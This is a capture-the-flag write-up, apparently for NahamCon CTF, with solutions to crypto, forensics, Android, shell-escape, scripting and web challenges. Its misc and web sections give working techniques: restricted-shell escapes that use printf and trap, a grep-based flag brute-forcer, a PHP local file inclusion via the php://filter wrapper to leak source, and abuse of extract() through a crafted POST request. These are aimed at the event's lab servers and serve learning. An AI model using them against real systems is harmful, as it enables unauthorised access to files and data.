while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:

## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:

**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:

it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)```
and we get the flag:

## RaspberryRaspberries are so tasty. I have to have more than just one!
Download the file below.\[prompt.txt](assets//files//raspberry.txt)
**flag{there_are_a_few_extra_berries_in_this_one}**
**Solution:**: With the challenge we are get a text file, the content of the text file is:
```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output:

this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation:
```python 3from Crypto.Util.number import inverse, long_to_bytes
primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257']
e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag:

**Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function
***
# Forensics
## MicrosooftWe have to use Microsoft Word at the office!? Oof...
Download the file below.\[microsooft.docx](assets//files//microsooft.docx)
**flag{oof_is_right_why_gfxdata_though}**
**Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting:

so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor:

after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file:

and the file contains our flag:

## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right...
Download the file below.\[manure](assets//files//manure)
**flag{this_flag_says_mooo_what_say_you}**
**Solution:** run strings on manure and grep for the flag
***
# Mobile
## CandroidI think I can, I think I can!
Download the file below.\[candroid.apk](assets//files//candroid.apk)
**flag{4ndr0id_1s_3asy}**
**Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag:

## Simple AppHere's a simple Android app. Can you get the flag?
Download the file below.\[candroid.apk](assets//files//simple-app.apk)
**flag{3asY_4ndr0id_r3vers1ng}**
**Solution:** same as previous challenge:

## Ends MeetAre you a true mobile hacker?
Download the file below.
**flag{rev3rsIng_ApKs_l1k3_A_Pr0}**
**Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0`
***# Miscellaneous
## VortexWill you find the flag, or get lost in the vortex?
Connect here:\`nc jh2i.com 50017`
**flag{more_text_in_the_vortex}**
**Solution:** With the challenge we are given a server to connect to, if we try connecting we get...

...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag:

## Fake fileWait... where is the flag?
Connect here:\`nc jh2i.com 50026`
**flag{we_should_have_been_worried_about_u2k_not_y2k}**
**Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell:

seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/):

## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out?
Connect here:\`nc jh2i.com 50024`
**flag{congrats_you_just_escaped_alkatraz}**
**Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it:

I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag:

## TrappedHelp! I'm trapped!
Connect here:\nc jh2i.com 50019
**flag{you_activated_my_trap_card}**
**Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco.
Connect here:`nc jh2i.com 50025`
**flag{okay_well_this_is_even_more_awkward}**
**Solution:** use grep to find cat all files and grep only to flag format
```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025
s = remote(host,port)
name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()```
***# Scripting
## DinaHelp! I can't make any sense out of what Dina is saying, can you??
Connect with:`nc jh2i.com 50035`
**Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}**
**Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself.
**Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous:

It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis.
In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run):
`send back yirkbmusswnqmhq as a string`
and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can.
At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

